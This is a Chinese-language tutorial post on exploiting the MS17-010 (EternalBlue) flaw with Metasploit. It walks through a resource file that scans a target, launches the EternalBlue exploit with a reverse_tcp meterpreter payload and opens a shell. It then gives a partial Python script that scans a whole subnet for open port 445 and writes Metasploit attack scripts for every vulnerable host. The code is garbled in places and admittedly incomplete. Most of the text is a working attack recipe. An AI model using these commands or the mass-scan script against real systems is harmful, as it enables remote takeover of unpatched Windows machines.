在進行編寫與Metasploit交互的腳本前,我們先簡單運用Metasploit利用ms17-010(永恆之藍)漏洞對目標主機實現攻擊。詳細教程見->不可小看的漏洞——利用永恆之藍漏洞(MS17-010)入侵電腦
攻擊主機:kalilinux IP:192.168.1.14
步驟:
(1)在kalilinux桌面創建一個以'.rc'為後綴的文件,我創建的是‘smb.rc’,然後填入下面的命令。
<code>use
auxiliary/scanner/smb/smb_ms17_010
set
rhosts 192.168.1.10
use
exploit/windows/smb/ms17_010_eternalblue
set
rhosts 192.168.1.10
set
payload windows/x64/meterpreter/reverse_tcp
exploit
-j -z
/<code>
(2)右擊文件smb.rc,在此打開終端。輸入如下命令,回車。
<code>msfconsole
-r
smb
.rc
/<code>
(3)看到如下出現狀態,繼續按回車,然後輸入如下命令即可建立會話運行命令,具體利用可以見->利用永恆之藍漏洞(MS17-010)入侵電腦。
<code>sessions
-i1
/<code>
(5)輸入shell就可以進入Windows的cmd命令界面了。
編寫python腳本
可以用python編寫一個能掃描445端口的主機,並自動生成一個去攻擊所有有漏洞主機的Metasploit腳本文件的Python腳本。
<code>import
nmapimport
osimport
optparseimport
sysdef
findTgts
(subNet)
: nmScan = nmap.PortScanner() nmScan.scan(subNet,'445'
) tgtHosts = []for
hostin
nmScan.all_hosts():if
nmScan[host].has_tcp(445
): state = nmScan[host]['tcp'
][445
]['state'
]if
state =='open'
:'[+] Found Target Host: '
+ host tgtHosts.append(host)return
tgtHostsdef
setupHandler
(configFile, rhost)
: configFile.write('use auxiliary/scanner/smb/smb_ms17_010\n'
) configFile.write('set rhosts '
+rhost+'\n'
) configFile.write('use exploit/windows/smb/ms17_010_eternalblue\n'
) configFile.write('set rhosts '
+ rhost +'\n'
) configFile.write('set payload windows/x64/meterpreter/reverse_tcp\n'
) configFile.write('exploit -j -z\n'
) configFile.write('setg DisablePayloadHandler 1\n'
)def
confickerExploit
(configFile, tgtHost)
: configFile.write('use auxiliary/scanner/smb/smb_ms17_010\n'
) configFile.write('set rhosts '
+ str(tgtHost) +'\n'
) configFile.write('use exploit/windows/smb/ms17_010_eternalblue\n'
) configFile.write('set rhosts '
+ str(tgtHost) +'\n'
) configFile.write('set payload windows/x64/meterpreter/reverse_tcp\n'
) configFile.write('exploit -j -z\n'
)/<code>
findTgts()函數中實現對整個網段的主機445端口的掃描,setupHandler()函數實現目標主機被攻擊後進行遠程交互的監聽器的功能,confickerExploit()函數實現命令執行,代碼未完整,可後續自行補充。